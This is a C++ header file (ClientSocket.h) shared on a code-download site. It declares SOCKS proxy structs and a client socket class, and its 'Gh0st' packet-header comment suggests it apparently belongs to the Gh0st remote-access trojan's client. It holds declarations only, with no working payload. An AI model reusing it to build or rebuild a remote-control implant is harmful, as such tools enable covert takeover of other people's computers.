ClientSocket.h
上传用户:xiejie88
上传日期:2019-07-11
资源大小:3505k
文件大小:2k
- // ClientSocket.h: interface for the CClientSocket class.
- //
- //////////////////////////////////////////////////////////////////////
- #if !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)
- #define AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_
- #include <winsock2.h>
- #include <mswsock.h>
- #include "common/Buffer.h" // Added by ClassView
- #include "common/Manager.h"
- #if _MSC_VER > 1000
- #pragma once
- #endif // _MSC_VER > 1000
- // Change at your Own Peril
- // 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
- #define HDR_SIZE 13
- #define FLAG_SIZE 5
- enum
- {
- PROXY_NONE,
- PROXY_SOCKS_VER4 = 4,
- PROXY_SOCKS_VER5
- };
- struct socks5req1
- {
- char Ver;
- char nMethods;
- char Methods[2];
- };
- struct socks5ans1
- {
- char Ver;
- char Method;
- };
- struct socks5req2
- {
- char Ver;
- char Cmd;
- char Rsv;
- char Atyp;
- unsigned long IPAddr;
- unsigned short Port;
-
- // char other[1];
- };
- struct socks5ans2
- {
- char Ver;
- char Rep;
- char Rsv;
- char Atyp;
- char other[1];
- };
- struct authreq
- {
- char Ver;
- char Ulen;
- char NamePass[256];
- };
- struct authans
- {
- char Ver;
- char Status;
- };
- class CClientSocket
- {
- friend class CManager;
- public:
- CBuffer m_CompressionBuffer;
- CBuffer m_DeCompressionBuffer;
- CBuffer m_WriteBuffer;
- CBuffer m_ResendWriteBuffer;
- void Disconnect();
- bool Connect(LPCTSTR lpszHost, UINT nPort);
- int Send(LPBYTE lpData, UINT nSize);
- void OnRead(LPBYTE lpBuffer, DWORD dwIoSize);
- void setManagerCallBack(CManager *pManager);
- void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTR lpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL, LPCSTR lpszPassWord = NULL);
- void run_event_loop();
- bool IsRunning();
- HANDLE m_hWorkerThread;
- SOCKET m_Socket;
- HANDLE m_hEvent;
- CClientSocket();
- virtual ~CClientSocket();
- private:
- static int m_nProxyType;
- static char m_strProxyHost[256];
- static UINT m_nProxyPort;
- static char m_strUserName[256];
- static char m_strPassWord[256];
- BYTE m_bPacketFlag[FLAG_SIZE];
- bool ConnectProxyServer(LPCTSTR lpszHost, UINT nPort);
- static DWORD WINAPI WorkThread(LPVOID lparam);
- int SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize);
- bool m_bIsRunning;
- CManager *m_pManager;
- };
- #endif // !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_)